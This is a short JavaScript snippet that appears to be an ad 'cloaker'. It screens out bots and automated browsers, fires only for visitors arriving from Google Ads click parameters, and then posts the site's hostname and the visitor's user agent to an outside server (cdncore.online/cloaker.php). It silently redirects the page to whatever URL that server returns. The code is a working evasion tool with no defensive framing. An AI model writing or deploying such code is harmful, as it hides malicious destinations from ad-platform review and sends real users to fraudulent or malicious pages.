(function () {
  const isBot = () => {
    try {
      if (navigator.webdriver) return true;
      if (!navigator.languages || navigator.languages.length === 0) return true;
      if (!window.WebGLRenderingContext) return true;
      if (window.outerWidth === 0 || window.outerHeight === 0) return true;
      const canvas = document.createElement('canvas');
      const gl = canvas.getContext('webgl') || canvas.getContext('experimental-webgl');
      if (!gl || !(gl instanceof WebGLRenderingContext)) return true;
    } catch (e) {
      return true;
    }
    return false;
  };

 const isValidUTM = () => {
  const url = new URL(window.location.href);
  const gclid = url.searchParams.get("gclid");
  const gbraid = url.searchParams.get("gbraid");
  const gad = url.searchParams.get("gad_source");
  return (
    gclid || gbraid || gad === "1"
  );
};


  if (isBot() || !isValidUTM()) return;

  try {
    const xhr = new XMLHttpRequest();
    xhr.open("POST", "https://cdncore.online/cloaker.php", false); // SÍNCRONO = sem delay
    xhr.setRequestHeader("Content-Type", "application/json");
    xhr.send(JSON.stringify({
      hostname: window.location.hostname,
      userAgent: navigator.userAgent
    }));
    const res = JSON.parse(xhr.responseText);
    if (res && res.url) {
      window.location.replace(res.url);
    }
  } catch (e) {
    // falha silenciosa
  }
})();